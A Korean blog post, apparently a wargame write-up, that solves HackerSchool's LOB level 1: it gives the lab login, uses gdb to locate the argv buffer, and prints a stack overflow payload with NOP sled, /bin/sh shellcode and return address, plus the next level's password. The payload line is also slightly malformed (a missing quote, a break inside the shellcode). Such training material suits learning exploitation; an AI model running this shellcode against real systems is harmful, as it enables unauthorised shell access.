HackerSchool LOB Level 1
Hacking/LOB(RedHat)

HackerSchool LOB Level 1

해커스쿨에서 제공하는 LOB 1번 문제이다 


xshell  telnet 으로 연결한다

ID:gate

PW:gate

일단 처음에 bash를 bash2로 변경한다

왜냐하면 bash는 \xff 를 NULL로 인식하는 오류가 있다.


ls로 파일이 뭐가 있는지보자.


gremlin , gremlin.c 파일이 나온다

cat 명령어로 gremlin.c 파일코드를 보자


코드를 해석해보면 버퍼는 256byte고 argc는 2보다 크거나 같아야한다

argv[1]의 값이 버퍼로 가는것을 볼수있다.


cp명령어로 gremlin을 gremli1으로 복사해준다 복사해주는 이유는 원본파일은 권한이 없어서 디버깅이 불가능하기때문이다. ※복사할때 파일명은 상관없지만 파일명길이는 같아야한다.


gdb로 아까복사한 gremli1을 열어준다 



b *main 으로 main함수에 브레이크포인트를 걸어준다.


r `python -c 'print "\x90"*100'` 으로 실행시켜준다


x/300x $esp  으로  스택을 본다 (300개)

아까 파이썬으로 넣은 90이 보인다 

argv[1]의 주소는 0xbffffc0c 이다

gdb에서 나와준다 나오는 명령어는 q

Buffer Overflow를 하기 위한 준비가 끝낫다.


페이로드는 

./gremlin `python -c 'print "\x90"*235+\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f

\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x0c\xfc\xff\xbf"'`    

이다. 

1번 문제 완료 

  2번문제  아이디는   gremlin

      비밀번호는  hello bof world 이다 



'Hacking > LOB(RedHat)' 카테고리의 다른 글

HackerSchool LOB Level 5  (0) 2015.07.24
HackerSchool LOB Level4  (0) 2015.07.24
HackerSchool LOB Level3  (0) 2015.07.24
HackerSchool LOB Level 2  (0) 2015.07.22
Buffer Overflow 기초  (0) 2015.07.16